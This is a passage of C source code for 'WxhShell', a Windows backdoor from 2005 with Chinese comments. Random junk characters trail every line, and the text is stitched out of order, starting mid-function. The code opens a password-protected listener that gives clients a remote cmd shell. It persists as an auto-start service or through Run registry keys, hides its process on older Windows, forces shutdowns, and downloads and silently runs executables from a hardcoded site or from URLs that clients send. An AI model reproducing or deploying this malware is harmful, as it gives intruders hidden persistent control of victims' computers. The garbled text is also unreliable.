    break; #SIIhpjA(  
    } ZGbY  
  // 关机 jp viX#\S_  
  case 'd': { *$EcP`K$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T<S_C$O  
    if(Boot(SHUTDOWN)) X+;{&Efrl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^rIe"Kx  
    else { x>*#cOVz;C  
    closesocket(wsh); BY!M(X jrZ  
    ExitThread(0); qTi%].F"G  
    } SVj4K \F  
    break; @o4n!Ip2x/  
    } 2:tO"   
  // 获取shell ,BuEX#ZaBl  
  case 's': { Az4a|.  
    CmdShell(wsh); NkL>ru!b9  
    closesocket(wsh); d;WXlE;  
    ExitThread(0); V{+5Fas^l  
    break; iIO_d4Z  
  } &HIG776  
  // 退出 GK\`8xWE  
  case 'x': { J6W"t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +VdC g_  
    CloseIt(wsh); ^7$V>|  
    break; sH `(y)`_  
    } jI~GRk  
  // 离开 Sz3Tp5b  
  case 'q': { EL+P,q/b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #5/.n.X"  
    closesocket(wsh); 5Ff1x-lQ  
    WSACleanup(); v dR6y  
    exit(1); '>0rp\jC  
    break; g@][h_? {  
        } X4dXO5\  
  } ,!'L~{  
  }  %3A~&  
=!Ce#p?h,  
  // 提示信息 2pn8PQfg)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W^Z#_{  
} YKWts y  
  } q>H f2R  
|JRaskd  
  return; )AoF-&,w  
} "[M k5tM  
OZed+t=  
// shell模块句柄 %jRqrICd  
int CmdShell(SOCKET sock) 6i.!C5YX]  
{ /+{]?y,  
STARTUPINFO si; *^_ywqp  
ZeroMemory(&si,sizeof(si)); ]<B@g($  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b i 8Qbo4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !w #x@6yq  
PROCESS_INFORMATION ProcessInfo; 6Lhfb\2?  
char cmdline[]="cmd"; "- XJZ;5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XEvDtDR  
  return 0; [23F0-p  
} Zwxu3R_  
}8,[B50  
// 自身启动模式 $yY\[C  
int StartFromService(void) >ho$mvT  
{ iD-,C`  
typedef struct 1e(Q I) ~  
{ ->29Tns  
  DWORD ExitStatus; ghu8Eg,Y  
  DWORD PebBaseAddress; )|SmB YV  
  DWORD AffinityMask; VvJ]*D+e  
  DWORD BasePriority; O!=ae|  
  ULONG UniqueProcessId; UI}df<Ge  
  ULONG InheritedFromUniqueProcessId; nL]-]n;  
}   PROCESS_BASIC_INFORMATION; 9;B6<`e/U  
3duWk sERC  
PROCNTQSIP NtQueryInformationProcess; 1deNrmp%  
;DXcEzV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2&Hn%q)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ebk_(Py\  
M^twD*  
  HANDLE             hProcess; *6b$l.Vs  
  PROCESS_BASIC_INFORMATION pbi; 5^W},:3R  
Sgy_?Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jfs$VGZP;  
  if(NULL == hInst ) return 0; Y Cbt(nmr  
EX.`6,:+2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fZ)M Dq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }q~M$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vn0}l6n3s  
eGi[LJ)np  
  if (!NtQueryInformationProcess) return 0; gBZ1Weu-'  
|&hu3-(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ous_269cM  
  if(!hProcess) return 0; UNB'Xjp}@  
!0+!%Nr>J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;#F7Fp*U  
?'L3B4  
  CloseHandle(hProcess); zld[uhc>  
TDtS^(2A7K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G6?+Qz r  
if(hProcess==NULL) return 0; W@( EEMhw  
O%KP,q&}Y  
HMODULE hMod; y>DvD)  
char procName[255]; qbwX*E~ ;  
unsigned long cbNeeded; 1aQR9zg%  
![OKmy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7Y>17=|  
GV aIZh<  
  CloseHandle(hProcess); ee0)%hc1t  
vg6 ' ^5S7  
if(strstr(procName,"services")) return 1; // 以服务启动 jZX2)#a!  
hCcAAF*I;5  
  return 0; // 注册表启动 #A RQB2V  
} |*w}bT(PfR  
`?H yDny  
// 主模块 :"pA0oB  
int StartWxhshell(LPSTR lpCmdLine) WHM|kt  
{ N7b+GqYpF>  
  SOCKET wsl; e{<r<]/j  
BOOL val=TRUE; 'p{N5eM  
  int port=0; {d%% nK~  
  struct sockaddr_in door; H(~:Ajj+zQ  
{"([p L  
  if(wscfg.ws_autoins) Install(); IJ`%Zh{f  
G; *jL4  
port=atoi(lpCmdLine); <+tSTc4>r  
_+vE(:T  
if(port<=0) port=wscfg.ws_port; >5aZ?#TS1  
VW[!%<  
  WSADATA data; 2qF ?%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R2 I 7d'|v  
<Xsy{7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {H5a.+-(bE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~_ 8X%ut y  
  door.sin_family = AF_INET; $z>L $,c>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2 ;z~xR  
  door.sin_port = htons(port); E W {vF|  
:=iP_*#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8?> #  
closesocket(wsl); vl "l  
return 1; cen[|yCtOH  
} e;kH,fHUI3  
:&{:$-h!  
  if(listen(wsl,2) == INVALID_SOCKET) { `|Wu\X  
closesocket(wsl); [vJLj>@  
return 1; I)B+h8l72<  
} K>tubLYh  
  Wxhshell(wsl); "\x<Zg;  
  WSACleanup(); r^m8kYezQ  
`k 5'nnyP  
return 0; J ^y1=PM  
IYo{eX~=  
} =u5a'bp0;;  
:?*|Dp1  
// 以NT服务方式启动 gyt[ZN_2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0Q]ZS  
{ kT jx.  
DWORD   status = 0; @&AUbxoj  
  DWORD   specificError = 0xfffffff; " aEk#W  
G=.vo3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /s'7[bSv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ) H'SU_YU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %]2hxTV  
  serviceStatus.dwWin32ExitCode     = 0; mip2=7M|C  
  serviceStatus.dwServiceSpecificExitCode = 0; $ e<108)]  
  serviceStatus.dwCheckPoint       = 0; 8$+mST'4N  
  serviceStatus.dwWaitHint       = 0; ~^{jfHTlv  
5-3.7CO$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gyz#:z$p^  
  if (hServiceStatusHandle==0) return; Q (3Na6  
rW8.bMmM  
status = GetLastError(); ?nLlZpZ2v  
  if (status!=NO_ERROR) Cw*:`  
{ )tq&l>0h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _XO3ml\x@  
    serviceStatus.dwCheckPoint       = 0; Mj guH5Uy  
    serviceStatus.dwWaitHint       = 0; JBYmy_Su  
    serviceStatus.dwWin32ExitCode     = status; %z0;77[1I  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2~*J<iO&l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Nm;lZK  
    return; kXfTNMb  
  } Q1A_hW2x  
Z4^O`yS9+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m ll-cp  
  serviceStatus.dwCheckPoint       = 0; b.LMJ'1  
  serviceStatus.dwWaitHint       = 0; &zxqVI$4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); / bxu{|.  
} &y7<h>z  
e;*GbXd|  
// 处理NT服务事件,比如:启动、停止 ,v#F6xv8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X\ -IAv  
{ _V jfH2Y  
switch(fdwControl) )2tDX=D  
{ #K:!s<_"  
case SERVICE_CONTROL_STOP: WS!:w'rzr  
  serviceStatus.dwWin32ExitCode = 0; fI_I0dc.p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z f rEM  
  serviceStatus.dwCheckPoint   = 0; %M=Ob k  
  serviceStatus.dwWaitHint     = 0; P?#I9y7iP  
  { _|'e Az   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \4/zvlo]h  
  } OH(w3:;[8  
  return; prWK U  
case SERVICE_CONTROL_PAUSE: Q.]$t 2J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s9Tp(Yr,k  
  break; ""; Bq*Y#  
case SERVICE_CONTROL_CONTINUE: nmH1Wg*aW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sRMz[n 5k  
  break; !T'`L{Sj  
case SERVICE_CONTROL_INTERROGATE: ag_RKlM3  
  break; sbju3nvk  
}; W<QMUu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q)m0n237P  
} RjcU0$Hi  
W RBCNra  
// 标准应用程序主函数 ZM6`:/lc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K+s@.D9J  
{ SU,#:s(  
^n@dC?  
// 获取操作系统版本 5~pQ$-  
OsIsNt=GetOsVer(); 1 +0-VRl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >8* 0"Q  
U '$W$()p  
  // 从命令行安装 HGwSsoS  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q{:5gh  
c*k%r2'  
  // 下载执行文件 ]T?Py)  
if(wscfg.ws_downexe) { 8JFns-5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Lt%[dn  
  WinExec(wscfg.ws_filenam,SW_HIDE); yx@%x?B  
} E .'v,GYe  
c SV`?[a  
if(!OsIsNt) { \[>Ob  
// 如果时win9x,隐藏进程并且设置为注册表启动 Un~8N  
HideProc(); $ #*";b)QY  
StartWxhshell(lpCmdLine); C8xxR~mq  
} j& H4L  
else v!>(1ROQ.=  
  if(StartFromService()) e}PJN6"5  
  // 以服务方式启动 SqF `xw  
  StartServiceCtrlDispatcher(DispatchTable); H;~Lv;,g,  
else {\-9^RL  
  // 普通方式启动 0E<xzYo  
  StartWxhshell(lpCmdLine); M zRliH8e  
`hVi!Q]*P  
return 0; @{X<|,W9w  
} J [k,S(Y  
G0izZWc  
?_@_NV MY  
'&;s32']}  
=========================================== oy _DYop  
<27:O,I  
.:b&$~<  
 Fhk 8  
>iKbn  
 jO5,PTV  
" OxC8xB;`  
B&M-em=  
#include <stdio.h> Jn#05Z  
#include <string.h> !bq3c(d  
#include <windows.h> F YLBaN  
#include <winsock2.h> UyUz_6J  
#include <winsvc.h> +wHrS}I#g  
#include <urlmon.h> HkL:3 E.  
m-v0=+~&  
#pragma comment (lib, "Ws2_32.lib") v|7=IJ  
#pragma comment (lib, "urlmon.lib") :;g7T-_q  
P&=H<^yd  
#define MAX_USER   100 // 最大客户端连接数 # h/#h\  
#define BUF_SOCK   200 // sock buffer %aB RL6  
#define KEY_BUFF   255 // 输入 buffer -Gyj]v5y`c  
Cd7imj  
#define REBOOT     0   // 重启 YjR`}rdwo  
#define SHUTDOWN   1   // 关机 Sc/\g  
D^30R*gV  
#define DEF_PORT   5000 // 监听端口 O u-/dE%  
yU{Q`6u T  
#define REG_LEN     16   // 注册表键长度 <NYf!bx  
#define SVC_LEN     80   // NT服务名长度 l(<=JUO;  
6 6%_p]U  
// 从dll定义API m+a\NXWR?N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l} =@9A@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v\3 \n3[u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,8`CsY^1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;S5J"1)O~  
Dga;GYx  
// wxhshell配置信息 g.wDg  
struct WSCFG { GL^84[f-T  
  int ws_port;         // 监听端口  T1\@4x  
  char ws_passstr[REG_LEN]; // 口令 99YgQ Y]HO  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7/969h^s  
  char ws_regname[REG_LEN]; // 注册表键名 DfsPg':z  
  char ws_svcname[REG_LEN]; // 服务名 QSNPraT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !j8 DCVb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JGRL&MG4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ; "K"S[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sq45fRAi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !K%8tr4   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S11ME  
 v[+ ]  
};  {S$61ut  
@r*w 84  
// default Wxhshell configuration 8-u #<D.  
struct WSCFG wscfg={DEF_PORT, @km@\w  
    "xuhuanlingzhe", Klj -dz  
    1, :AYhBhitC  
    "Wxhshell", Rh :|ij>B  
    "Wxhshell", &~K4I  
            "WxhShell Service", M?ObK#l!_  
    "Wrsky Windows CmdShell Service", 8:sQB% BB  
    "Please Input Your Password: ", ]/6i#fTw  
  1,  X? l5}  
  "http://www.wrsky.com/wxhshell.exe", /_D_W,#P  
  "Wxhshell.exe" 3Ow bU  
    }; t8ZzBD!dP  
f6])M)  
// 消息定义模块 o FS2*u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M/J?$j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }`uFLBG3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F^Y%Q(Dd7w  
char *msg_ws_ext="\n\rExit."; @QO^3%b8  
char *msg_ws_end="\n\rQuit."; hQ@E2Xsv  
char *msg_ws_boot="\n\rReboot..."; .gclE~h.  
char *msg_ws_poff="\n\rShutdown..."; gski:C   
char *msg_ws_down="\n\rSave to "; M3 &GO5<  
L6 IIk  
char *msg_ws_err="\n\rErr!"; =fcM2O#$  
char *msg_ws_ok="\n\rOK!"; rX}FhBl5  
vs%d}]v  
char ExeFile[MAX_PATH]; '',g}WvRwe  
int nUser = 0; {XEX0|TZ  
HANDLE handles[MAX_USER]; 5rH?FQE  
int OsIsNt; ^r@,(r6w  
`Fx+HIng,  
SERVICE_STATUS       serviceStatus; H#/Hs#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;-Ki`x.oJ  
~Z:)Y*  
// 函数声明 ufn% sA  
int Install(void); N#p%^GH  
int Uninstall(void); CxD=8X9m  
int DownloadFile(char *sURL, SOCKET wsh); ^u:bgwP  
int Boot(int flag); _lBHZJ+  
void HideProc(void); hlBMRx49  
int GetOsVer(void); U62Z ?nge%  
int Wxhshell(SOCKET wsl); -x VZm8y  
void TalkWithClient(void *cs); jR2^n`D  
int CmdShell(SOCKET sock); nt_FqUJ  
int StartFromService(void); _-|+k  
int StartWxhshell(LPSTR lpCmdLine); ^O QeOTF  
G$[Hm\V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $U4[a:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |)y-EBZe\"  
9T_fq56Oh6  
// 数据结构和表定义 _%wB*u,X  
SERVICE_TABLE_ENTRY DispatchTable[] = eX$RD9 H  
{ S1o[)q   
{wscfg.ws_svcname, NTServiceMain}, ~~3*o  
{NULL, NULL} 6F_:,b^  
}; UCo`l~K)qg  
rpUTn!*u/  
// 自我安装 8[H bg  
int Install(void) _H"_&m$aDm  
{ jbe_r<{  
  char svExeFile[MAX_PATH]; *G8Z[ht%r  
  HKEY key; YQ>O6:%  
  strcpy(svExeFile,ExeFile); =9;b|Y"aQ  
NQcNY=  
// 如果是win9x系统,修改注册表设为自启动 `Y3\R#  
if(!OsIsNt) { k'NP+N<M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G2&,R{L6w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jN!VrRA  
  RegCloseKey(key); i3cMRcS;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |$C fm}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )4RSo&9p`  
  RegCloseKey(key); 2O}X-/H  
  return 0; @<yYMo7  
    } KMx '(  
  } s_3a#I  
} A{Qo}F<*  
else { |-TxX:O-  
p }e| E!  
// 如果是NT以上系统,安装为系统服务 uANpqT}!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CIVV"p`}  
if (schSCManager!=0) }:S}jo7  
{ Bkg./iP5x  
  SC_HANDLE schService = CreateService Z>~7|vl  
  ( 4KR$sKq$q  
  schSCManager, ';m;K (g  
  wscfg.ws_svcname, 3 bT?4  
  wscfg.ws_svcdisp, F_&H*kL L3  
  SERVICE_ALL_ACCESS, .hjN*4RY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eH~T PH  
  SERVICE_AUTO_START, n(.L=VuXn  
  SERVICE_ERROR_NORMAL, Rq`5ff3,  
  svExeFile, (+}44Ldt  
  NULL, /4}y2JVv)  
  NULL, 8@ f+?g*i  
  NULL, X<H{  
  NULL, R[rOzoNp0  
  NULL qfRrX"  
  ); (C.aQ)|T  
  if (schService!=0) xEv?2n@A  
  { 4>/i,_&K K  
  CloseServiceHandle(schService); >*\yEH9"  
  CloseServiceHandle(schSCManager); LYiIJAZ.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rxj#  
  strcat(svExeFile,wscfg.ws_svcname); 30<_`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gzwb<e y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S4rm K&  
  RegCloseKey(key); 7X>*B~(R  
  return 0; ],{M``]q  
    } 79I"F'  
  } Kw2]J)TO  
  CloseServiceHandle(schSCManager); A-*MH#QUKh  
} iBmvy 7S?  
} 5H,(\Xd  
E(&zH;?_  
return 1; "'XYW\bI  
} a-AA$U9hj  
~6+Um_A_L  
// 自我卸载 u$X =2u:P  
int Uninstall(void) JSx[V<7m  
{ q29d=  
  HKEY key; )|#ExyRO  
MO|Pv j~[  
if(!OsIsNt) { m>?|*a,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l<'}`  
  RegDeleteValue(key,wscfg.ws_regname); $ e.Bz `  
  RegCloseKey(key); T!Lv%i*|Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rbs&A{i  
  RegDeleteValue(key,wscfg.ws_regname); ?j)#\s2  
  RegCloseKey(key); ,b?G]WQrHs  
  return 0;  )\kNufP  
  } l@]Fzl  
} y<#Hq1  
} /iJsa&W}  
else { nFe  
7[i&EPN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h 0)oQrY  
if (schSCManager!=0) JvaHH!>d/  
{ t{`-G*^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); / Xv@g$  
  if (schService!=0) |!1iLWQ  
  { >S S^qjh/  
  if(DeleteService(schService)!=0) { {7q8@`Oa  
  CloseServiceHandle(schService); gKgdu($NJ  
  CloseServiceHandle(schSCManager); Q5IN1 ^=HF  
  return 0; RB;2  
  } AJ6O>Euq  
  CloseServiceHandle(schService); ]iZ-MG)J  
  } buWF6LFC  
  CloseServiceHandle(schSCManager); /b6j<]H  
} 7t78=wpLc  
} .TNJuuO  
q^~w:$^ U  
return 1; KqNsCT+j  
} %6Y}0>gY  
e`)zR'As  
// 从指定url下载文件 }/g1  
int DownloadFile(char *sURL, SOCKET wsh) ?3i<^@?  
{ Bu{%mm(  
  HRESULT hr; MW=rX>tE  
char seps[]= "/"; Lo" s12fr  
char *token; 9Z3Vf[n5\  
char *file; ^Nysx ~6  
char myURL[MAX_PATH]; 1J&hm[3[K  
char myFILE[MAX_PATH]; 8P&z@E{y  
n.o_._mu2  
strcpy(myURL,sURL); ytV4qU82G  
  token=strtok(myURL,seps); 1z@ ncqe  
  while(token!=NULL) ZKi?;ta=  
  { ^a#W|-:  
    file=token; nrM-\'  
  token=strtok(NULL,seps); v,US4C|^3i  
  } 3v)`` n@  
c{jTCkzq  
GetCurrentDirectory(MAX_PATH,myFILE); =CaSd|   
strcat(myFILE, "\\"); &*~_ "WyU  
strcat(myFILE, file); %B| Ca&  
  send(wsh,myFILE,strlen(myFILE),0); )=0@4   
send(wsh,"...",3,0); 2V$YZSw6q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); / 6DW+!  
  if(hr==S_OK) `<% w4 E  
return 0; Nm3CeU  
else xB}B1H%  
return 1; }jg,[jw_"X  
:} o{<U  
} BqOMg$<\[  
Gk|T1%  
// 系统电源模块 IN"6 =2:  
int Boot(int flag) WX $AOnEv  
{ P> 7PO~E.  
  HANDLE hToken; +@\=v}: F  
  TOKEN_PRIVILEGES tkp; w X.]O!^X~  
 Lvn+EM  
  if(OsIsNt) { @%6"xnb `  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OL623jQX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .y#>mXm>  
    tkp.PrivilegeCount = 1; *,wW-8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _147d5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M+L0 X$}NZ  
if(flag==REBOOT) { A&Cs (e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8ya|eJ]/L  
  return 0; <{.pYrn  
} =%+xNOdN7?  
else { EOf*1/Ih  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y,X0x-  
  return 0; A)kdY!}  
} !GoHCe[10  
  } `(@{t:L  
  else { Vc "+|^  
if(flag==REBOOT) { RIF*9=,S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gq)uv`3  
  return 0; 3:gF4(.  
} YU1z\pK  
else { BNbz{tbX"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oh >0}Gc8  
  return 0; /Fp@j/50  
} |TuFx=~5v  
} R"e533  
}/F9(m  
return 1; 2!}rH w  
} wmit>69S  
D}bCMN <  
// win9x进程隐藏模块 ]U5/!e  
void HideProc(void) e:=+~F(f  
{ c nV2}U/\  
:"Kr-Hm`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1zY" Uxp  
  if ( hKernel != NULL ) k)S'@>n{u  
  { O)}5`0@L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?,*KAGg%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A)D1 #,0  
    FreeLibrary(hKernel); s!/Q>A  
  } ?uqPye1fc  
i8` 0-  
return; rNX]tp{j  
} -&r A<j  
MrpT5|t  
// 获取操作系统版本 9AZpvQ  
int GetOsVer(void) }<G#bh6;Q  
{ (/Dr=D{ `  
  OSVERSIONINFO winfo; 0%]F&|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %ZJ;>a#  
  GetVersionEx(&winfo); lNqF@eCT9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =BBDh`$R  
  return 1; ~_"/\; 1  
  else i^&^eg'.5  
  return 0; *`bAu *  
} +:m'  
!"N-To-c  
// 客户端句柄模块 _.3O(?p,  
int Wxhshell(SOCKET wsl) @# &y  
{ ,$; pLjo6  
  SOCKET wsh; u6~/" _FwY  
  struct sockaddr_in client; Y%)@)$sK  
  DWORD myID; ffS]%qa  
m}?(c)ST  
  while(nUser<MAX_USER) bupDnTF  
{ ?ZT+4U00U  
  int nSize=sizeof(client); E=8$*YUW(g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wx)Yl1 C  
  if(wsh==INVALID_SOCKET) return 1; [f\TnXq24  
53X5&Bwh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :sXn*k4v  
if(handles[nUser]==0) UqsX@jL!  
  closesocket(wsh); W&8)yog.  
else tJ!s/|u(  
  nUser++; sc &S0K  
  } B]|"ePj-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2/V9Or 52  
uO;_T/^u  
  return 0; lq\/E`fc`  
} W=@]YI  
0*}%v:uN9  
// 关闭 socket D "9Hv3  
void CloseIt(SOCKET wsh) q\a'pp9d  
{ {%Q &CQG_  
closesocket(wsh); c @~j}(A  
nUser--; cq \()uF'c  
ExitThread(0); 1Ydym2  
} ]S#m o  
/K<.$B8  
// 客户端请求句柄 Y]gb`z$?  
void TalkWithClient(void *cs) E||[(l,b  
{ 2dUVHu= +  
?go+oS^  
  SOCKET wsh=(SOCKET)cs; O4i5 fVy{  
  char pwd[SVC_LEN]; 7Ta",S@m  
  char cmd[KEY_BUFF]; 1rmK#ld"=Z  
char chr[1]; <"Cacf g  
int i,j; JD}"_,-  
R"`7aa6  
  while (nUser < MAX_USER) { 4#^?-6  
9dFSppM  
if(wscfg.ws_passstr) { | p"E0av  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PtT=HvP!k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) ]x/3J@  
  //ZeroMemory(pwd,KEY_BUFF); \KJ\>2Y  
      i=0; ToWtltCD  
  while(i<SVC_LEN) { RiX~YL eM  
5s'oVO*hW  
  // 设置超时 g:sn/Zug]  
  fd_set FdRead; "\9!9U#!  
  struct timeval TimeOut; bEJz>oyW"  
  FD_ZERO(&FdRead); D L0i  
  FD_SET(wsh,&FdRead); b=Y:`&o=[  
  TimeOut.tv_sec=8; u'BuZF  
  TimeOut.tv_usec=0; ub0uxvz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ] _WB^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D+ )R_  
"X }@VT=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "V;5Lp b  
  pwd=chr[0]; F.0CJ7s  
  if(chr[0]==0xd || chr[0]==0xa) { v0yaFP#kG  
  pwd=0; q{?ku!cL  
  break; g5 J[ut  
  } cJnAwIs_e`  
  i++; UtebSQ+h\  
    } ^}gQh#  
^/<0r] =  
  // 如果是非法用户,关闭 socket u ::2c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F(w  
} 0~5'O[NhF  
=&J 7 'nDP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <{"]&bl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;;2Yfn'`9  
IU8/B+hM~  
while(1) { 0?tn.<'B8T  
oTPPYi[r  
  ZeroMemory(cmd,KEY_BUFF); ecoi4f  
$&@L[[xl  
      // 自动支持客户端 telnet标准   [=63xPxs.  
  j=0; 5f:Mb|. ?  
  while(j<KEY_BUFF) { >>ncq$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yH'vhtop  
  cmd[j]=chr[0]; )Bl0 W  
  if(chr[0]==0xa || chr[0]==0xd) { G8y:f%I!b  
  cmd[j]=0; \m3;<A/3n  
  break; F3aOKV^  
  } :+9KNyA  
  j++; ndIf1}   
    } | Vtd !9  
XF`,mV4  
  // 下载文件 U9d0nj9 j  
  if(strstr(cmd,"http://")) { f xWW "B*A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6[dLj9 G%  
  if(DownloadFile(cmd,wsh)) F ;o ^.  
